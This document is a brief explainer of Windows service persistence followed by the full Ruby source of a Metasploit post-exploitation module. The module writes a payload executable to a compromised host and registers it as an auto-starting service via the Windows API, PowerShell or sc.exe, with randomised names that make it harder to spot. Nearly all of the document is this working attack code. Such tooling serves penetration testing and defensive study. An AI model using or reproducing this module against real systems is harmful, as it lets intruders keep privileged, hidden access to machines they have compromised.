A Windows Persistent Service Installer is a mechanism or tool A Windows Persistent Service Installer is a mechanism or tool used to register an arbitrary executable as a Windows Service.
Its primary goal is to achieve persistence, ensuring the program starts automatically with the operating system, often before user login, and continues running in the background.
This grants the program high privileges (e.g., SYSTEM), resilience against reboots, and stealth. While legitimate applications use services (e.g., antivirus, backup agents), this method is heavily abused by malware, ransomware, and rootkits. Malicious actors leverage it to maintain access, evade detection, and survive system restarts, making removal challenging. The installer interacts with the Service Control Manager to define the service's properties and executable path.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Post::Windows::Services
include Msf::Post::File
include Msf::Post::Windows::Priv
include Post::Windows::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/persistence_service'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Persistent Service Installer',
'Description' => %q{
This Module will generate and upload an executable to a remote host.
It will create a new service which will start the payload whenever the service is running. Admin or system
privilege is required.
},
'License' => MSF_LICENSE,
'Author' => [
'Green-m <greenm.xxoo[at]gmail.com>', # original module
'h00die' # persistence updates
],
'Platform' => [ 'windows' ],
'Targets' => [['Windows', {}]],
'SessionTypes' => [ 'meterpreter' ],
'Privileged' => true,
'DefaultTarget' => 0,
'References' => [
['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'],
['URL', 'https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)'],
['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE],
['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION]
],
'DisclosureDate' => '2018-10-20',
'DefaultOptions' => {
'EXITFUNC' => 'process' # process keeps powershell from returning errors on service start
},
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),
OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']),
OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]),
OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]),
]
)
end
def writable_dir
d = super
return session.sys.config.getenv(d) if d.start_with?('%')
d
end
def check
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
return CheckCode::Safe('You must be System/Admin to run this Module') unless is_system? || is_admin?
CheckCode::Appears('Likely exploitable')
end
def install_persistence
fail_with(Msf::Module::Failure::NoAccess, 'Insufficient privileges to create service') unless is_system? || is_admin?
rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(4..8)
@service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(8..12)
@service_dname = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(4..8)
@service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..12)
rexename << '.exe' unless rexename.end_with?('.exe')
vprint_status('Compiling payload')
@dest_pathname = writable_dir + '\\' + rexename
exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] })
write_file(@dest_pathname, exe)
print_good("Payload written to #{@dest_pathname}")
success = false
if datastore['METHOD'] == 'API' || datastore['METHOD'] == 'Auto'
vprint_status('Attempting API method')
success = api_service
end
if (datastore['METHOD'] == 'Powershell' || datastore['METHOD'] == 'Auto' && !success) && have_powershell?
vprint_status('Attempting Powershell method')
success = powershell_service
end
if datastore['METHOD'] == 'sc.exe' || datastore['METHOD'] == 'Auto' && !success
vprint_status('Attempting sc.exe method')
sc_service
end
@clean_up_rc << "rm \"#{@dest_pathname.gsub('\\', '\\\\\\\\')}\"\n"
@clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n"
@clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n"
end
def powershell_service
vprint_status("Install service: #{@service_dname} (#{@service_name})")
service_builder = "New-Service -Name '#{@service_name}' "
service_builder << "-DisplayName '#{@service_dname}' "
service_builder << "-Description '#{@service_description}' "
service_builder << "-BinaryPathName '#{@dest_pathname}' "
service_builder << '-StartupType Automatic'
resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")
return false if resp.include?('Access is denied')
return false unless resp.include?('Stopped')
vprint_status("Service install response: #{resp}")
vprint_status('Starting service')
resp = cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")
vprint_status("Service start response: #{resp}")
true
end
def sc_service
vprint_status("Install service: #{@service_dname} (#{@service_name})")
sc_cmd = "sc.exe create #{@service_name} "
sc_cmd << "binPath= \"#{@dest_pathname}\" "
sc_cmd << 'start= auto '
sc_cmd << "DisplayName= \"#{@service_dname}\""
resp = cmd_exec(sc_cmd)
return false if resp.include?('FAILED')
vprint_status("Service install response: #{resp}")
vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\""))
vprint_status('Starting service')
resp = cmd_exec("sc.exe start \"#{@service_name}\"")
vprint_status("Service start response: #{resp}")
true
end
def api_service
vprint_status("Install service: #{@service_dname} (#{@service_name})")
resp = service_create(@service_name,
{
display: @service_dname,
path: @dest_pathname
})
return false unless resp == 0
vprint_status("Service install code: #{resp}")
vprint_status('Starting service')
vprint_status("Service start code: #{service_start(@service_name)}")
true
end
end